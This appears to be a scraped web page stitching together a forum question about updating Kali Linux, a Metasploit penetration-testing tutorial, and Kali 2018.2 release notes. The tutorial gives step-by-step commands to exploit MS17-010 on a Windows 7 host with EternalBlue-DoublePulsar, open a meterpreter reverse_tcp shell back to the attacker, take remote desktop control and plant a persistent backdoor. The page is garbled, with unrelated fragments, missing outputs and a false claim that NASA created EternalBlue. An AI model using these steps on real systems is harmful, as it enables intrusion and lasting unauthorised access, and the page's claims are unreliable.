Oct 11, 2016  Everyday I do the steps below to update Kali Linux including all apps (Including Metasploit): 1- apt-get update && apt-get upgrade && apt-get dist-upgrade 2- Also I execute the command: msfupdate 3- And I run Package updater from the GUI. 4- Then I bounce the machine. I have got a question: 1- During running the first command, I noticed that the system has downloaded Metasploit. This document explains how to make use of NVIDIA video hardware and install the drivers on a Kali Linux system. The first step is to fully update your Kali Linux system and make sure you have the kernel headers installed.

As we have discussed the TOP 25 BEST KALI LINUX TOOL, and we put METASPLOIT at first in the list, now let’s discuss and learn about METASPLOIT. We would recommend you to be familiar with Metasploit.

Metasploit initially created by H. D Moore in 2003, until it was acquired and developed further by Rapid7 on October 21, 2009. Metasploit-framework is completely written using Ruby, and is a standard package installed in Kali Linux system (and also almost all Penetration Testing OS, I guess). It is a hackers or penetration testers favorite kit to research security vulnerabilities, develop and execute exploits on targets, and other security development.

Metasploit comes with several editions, generally divided into two categories, free version and paid version. The free versions: Metasploit Framework Community Edition (CLI based interface) and Armitage (GUI based interface). The paid versions : Metasploit Express, Metasploit Pro, and Cobalt Strike (it is similiar with Armitage, which is provided by Strategic Cyber LLC).

Metasploit allows users to create (or develop) their own exploit code, but don’t worry if you don’t know how to code, Metasploit has so many modules and they are continuously updated. Currently Metasploit has over 1600 exploits and 500 payloads. The simple way to understand what are exploits and payloads, an exploit is basically how the attacker deliver the payload, through the vulnerability hole of the target system. Once the attacker launches the exploit which contains a payload against vulnerable target, then the payload deployed (payload used to connect back to the attacker to gain remote access against target system), in this stage the exploit is done, and becomes irrelevant.

Linux

“Metasploit is not hacking instant tool, it is an insane framework”

This Metasploit article is about conducting penetration testing against a target system using the following flow:

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  • Vulnerability Scanning
  • Vulnerability Assessment
  • Exploiting
  • Gaining Remote Access – own the system

PREPARATION

Make sure our Kali Linux has the latest updated version. There will be improvements within every update. Run the following commands:

~# apt update
~# apt upgrade -y
~# apt dist-upgrade -y

Once our machine is up to date, now lets begin by firing up the metasploit console. In the terminal, type:

And also you need any text editor, Gedit or Leafpad, to collect some information along the way before we compile the attack. Firstly, identify your IP Address of the wireless interface, the router’s IP, and the netmask.

Based on the information above we the note the WLAN1 and router’s IP address, and the netmask. So, the note should look like this:

Attacker IP (LHOST): 192.168.1.56
Gateway / Router’s IP: 192.168.1.1
Netmask: 255.255.255.0(/24)

STEP 1 : VULNERABILITY SCANNING

In the metasploit console, we then firstly gather information, such as target IP address, Operating System, ports opened, and the vulnerability. Metasploit allows us to run NMap directly from the console. Based on the information above run this command to accomplish our information gathering task.

From the command above we got the result below.

Update Metasploit Framework

We got a vulnerable target running Windows Operating System, and the vulnerable is on SMBv1 service. So, add to note.

Target IP (RHOST): 192.168.1.57
Vulnerability: Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)

STEP 2 : VULNERABILITY ASSESSMENT

Now we know the target and its vulnerability. Lets check the vulnerability in metasploit console

Now we know the target and its vulnerability. Lets check the vulnerability in metasploit console using smb_scanner auxiliary module. Run the following command:

msf > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(smb_ms17_010)>set RHOSTS [target IP]
msf auxiliary(smb_ms17_010)> run

Metasploit is confident about the vulnerability, and it shows the exact Windows OS Edition. Add to note:

Target OS: Windows 7 Ultimate 7600

STEP 3 : EXPLOITING

Unluckily, metasploit has no exploit module related to this vulnerability. But, don’t worry, there is a guy outside exposed and wrote the exploit code. The exploit is familiar, since it’s initiated by NASA it is called EternalBlue-DoublePulsar. You can grab it from here, or you can follow the guide from tutorial video below to install the exploit code to your metasploit framework.

Once you have followed along the guide above, (make sure the path is the same as the tutorial). Now, you are ready to exploit the target. Run the following commands:

use exploit/windows/smb/eternalblue_doublepulsar
set payload windows/meterpreter/reverse_tcp
set PROCESSINJECT spoolsv.exe
set RHOST 192.168.1.57
set LHOST 192.168.1.56

Exploit

Boom… The exploit succeed, we got meterpreter session. As I mentioned earlier, once the exploit launched it will deploy the payload, which is, here we used, windows/meterpreter/reverse_tcp.

STEP 4 : GAINING REMOTE ACCESS

Lets explore the more available commands, enter ‘?’ (without question mark) and see listed available commands. The Stdapi, system commands are:

To see more information about the target system, use ‘sysinfo’ command. The output should look like this.

Since we inject to system process earlier (spoolsv.exe), we got System Privilege. We own the target. We can do much with the command to the target. For example we could run RDP, or just set VNC remote. To run VNC service enter command:

The result should be the target machine desktop, it is look like this.

The most important part is create a backdoor, so whenever the target disconnected to our machine, the target machine will try to connect back, again to us. Backdooring is used to maintain access, it is like fishing, you wont throw your fish back to the water once you got the fish, right? You want to do something with the fish, whether to save it in refrigerator for further actions, like cooking or sell it for money.

Meterpreter has this persistently backdooring function. Run the following command, and take a look at the available parameters and arguments.

meterpreter > run persistence -h

If you’re not comfortable with this deprecated script, the newest persistence module is under post/windows/manage/persistence_exe. You can explore it further by yourself.

Metasploit is huge,it is not just a tool, it is a framework, consider it has over 1600 exploits and about 500 payloads. One article is just fit for the big picture of the general usage or idea. But, you have learned so much from this article.

“The more you follow the attack flow the more you have effortless challenge.”

This Kali release is the first to include the Linux 4.15 kernel, which includes the x86 and x64 fixes for the much-hyped Spectre and Meltdown vulnerabilities. It also includes much better support for AMD GPUs and support for AMD Secure Encrypted Virtualization, which allows for encrypting virtual machine memory such that even the hypervisor can’t access it.

Easier Metasploit Script Access

If you spend any significant amount of time writing exploits, you are undoubtedly familiar with the various Metasploit scripts that are available, such as pattern_create, pattern_offset, nasm_shell, etc. You are likely also aware that all of these helpful scripts are tucked away under /usr/share/metasploit-framework/tools/exploit/, which makes them more than a little difficult to make use of. Fortunately, as of metasploit-framework_4.16.34-0kali2, you can now make use of all these scripts directly as we have included links to all of them in the PATH, each of them prepended with msf-.

root@kali:~# msf-<tab>
msf-egghunter msf-java_deserializer msf-nasm_shell
msf-exe2vba msf-jsobfu msf-pattern_create
msf-exe2vbs msf-makeiplist msf-pattern_offset
msf-find_badchars msf-md5_lookup msf-pdf2xdp
msf-halflm_second msf-metasm_shell msf-virustotal
msf-hmac_sha1_crack msf-msf_irb_shell
root@kali:~#
root@kali:~# msf-pattern_create -l 50 -s ABC,123
A1A2A3B1B2B3C1C2C3A1A2A3B1B2B3C1C2C3A1A2A3B1B2B3C1
root@kali:~#

Package Updates

Starbound save editor download. In addition to the above changes, there have been updates to a number of applications including Bloodhound, Reaver, PixieWPS, Burp Suite, Hashcat, and more. Since there are far too many packages to include in a default ISO, to see the full list of changes, we encourage you to review the Kali Changelog.

Download Kali Linux 2018.2

If you would like to check out this latest and greatest Kali release, you can find download links for ISOs and Torrents on the Kali Downloads page along with links to the Offensive Security virtual machine and ARM images, which have also been updated to 2018.2. If you already have a Kali installation you’re happy with, you can easily upgrade in place as follows.

Metasploit Framework Kali

As always, if you encounter any bugs at all, we implore you to open a report on our bug tracker. We can’t fix what we don’t know about.

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